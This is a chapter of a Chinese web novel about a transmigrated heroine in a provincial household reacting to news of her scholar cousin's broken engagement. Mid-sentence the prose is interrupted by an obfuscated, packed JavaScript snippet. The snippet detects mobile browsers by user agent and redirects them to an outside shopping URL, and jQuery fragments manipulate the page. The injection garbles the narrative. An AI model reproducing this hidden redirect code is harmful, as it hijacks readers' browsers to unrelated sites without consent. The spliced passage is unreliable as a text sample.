怎地就忘了呢,怎地就在姑姑面前放肆起来了呢? 她可是沈家表哥的亲娘啊。 屋里就只剩下几位夫人大力称赞沈家外甥,大家文化水平都有限,翻来覆去也就是那几个词。 大夫人问:“外甥少年登科,订了哪家的闺秀?” 所有人都竖起耳朵。 沈夫人却轻轻叹气:“原是订了礼部郎中的女儿。” 什么礼部,什么郎中,对怀溪的殷家人都是远在云端遥不可及又高高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13665683|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上的。 少女们便流露出了失落的情绪。 夫人们却听出话音:“怎么个说法?” 什么叫“原是”? 沈夫人道:“她父亲触怒陛下,被流放了。她一家女眷……唉,不提也罢。” 夫人们面面相觑。 四夫人捅了捅三夫人,三夫人拨拉开她的手,倾身:“那亲事就作罢了?” 沈夫人道:“正是。非是我们背信弃义,实在是国有国法。” 殷莳垂下眼睫。 她在这里生活了很多年,完全能听懂这对话里的信息。 沈缇沈跻云的未婚妻家完蛋了,看沈夫人这话音,女眷大概就像史湘云那种下场了。所谓国有国法,是良贱不婚。 不管怎么样,那个女孩子都做不了沈缇的妻子了。 沈缇也才十七岁,女孩能有多大。也不过就是中学生的年纪罢了。 落到那种田地,实在可怜。 但她的妹妹们只是乡下小地方的乡绅家女儿,年纪又这样小,显然理解不到千红一窟、万艳同悲的层次。 殷莳分明地看到,几个妹妹的眼睛竟亮起来。 殷莳心底轻轻叹息。 三夫人看戏不怕台高,她这一房除了殷莳,便是五娘。五娘刚才站在殷莳身后,肯定是殷莳拧她了,她不像姐姐们那么失态。且大的殷莳表现也大方得体,反正丢人的是别的房头,她只含笑追问:“那后来呢,又订了什么人家?” 沈夫人捏住帕子,道:“还没有再订,在看呢。” 这下,连几位夫人的眼睛都亮起来了,四夫人甚至有些喜上眉梢的模样。 殷莳微微摇头。 几位夫人平时也都人精人精的,果真是利益动人心,香喷喷的探花郎摆在眼前,竟令几位夫人都失了沉稳,妄想起来。 更糟的是,几个妹妹竟不安地扭了扭身子。甚至包括了订了亲的云娘和婉娘。 殷莳暗叫不好。 长辈们她还可以不用多管,但她在殷家已经做了许多年的大姐姐,对这些小妹妹们多少是有些感情的。 且她是成年人的灵魂和心态,对小少女们非常宽容,不愿意看到她们在这个年纪因为想岔了,而走岔了路。 这个时空其实还行,这些年她大致弄明白了,不裹脚,也没有晚明和清代那么变态苛刻。但对比她原来的时空,依然是对女性十分严格的。反正贞节牌坊之类的东西还是存在的。名节什么的,也是很重要的。 中上层的女孩子除了嫁人,基本上没有别的出路。反倒是底层的女性因为要抛头露面的养家糊口,自由度还高一些。 但她们家,在平民中已经属于中上层了。 一直安静的大姐姐殷莳这时候开口了:“姑姑别担心。” 她乍然插话,所有人的目光都向她投去。 殷莳并不在意,迎着沈夫人审视的目光道:“婚姻原就是结两姓之好,前头那姑娘没有缘分,虽可悯,但也不是沈家的错。” “沈家书香传家,几代进士,表弟更是人中龙凤,新科探花。” “虽然现在尚未有新的婚约,但京城淑女无数,相信这趟回去之后,定然很快就能找到门当户对、才貌匹配的婚事。” “两家长辈都在朝中为官,家境相当。” “姑娘定也是诗礼之家养出来的才女,读我们没读过的书,写我们写不出来的诗,通音律、晓丹青,将来与表弟琴瑟和鸣,相敬如宾。” “不像我们姐妹,只学个皮毛做做样子,说出去不是个睁眼瞎罢了。” 殷莳语速缓慢,声音柔和,但就像一盆冷水,把这厅里躁动不安、浮想联翩的成年的、未成年的女子们都浇醒了。 是啊,做什么梦呢,肖想沈家的探花郎。 醒过来自己都觉得可笑,夫人们只尬着硬笑,少女们失落垂下头去。 沈夫人双目精亮有光,盯着殷莳。 此时此刻,她对殷莳的满意达到了顶峰。 这一趟,说不定,真能成。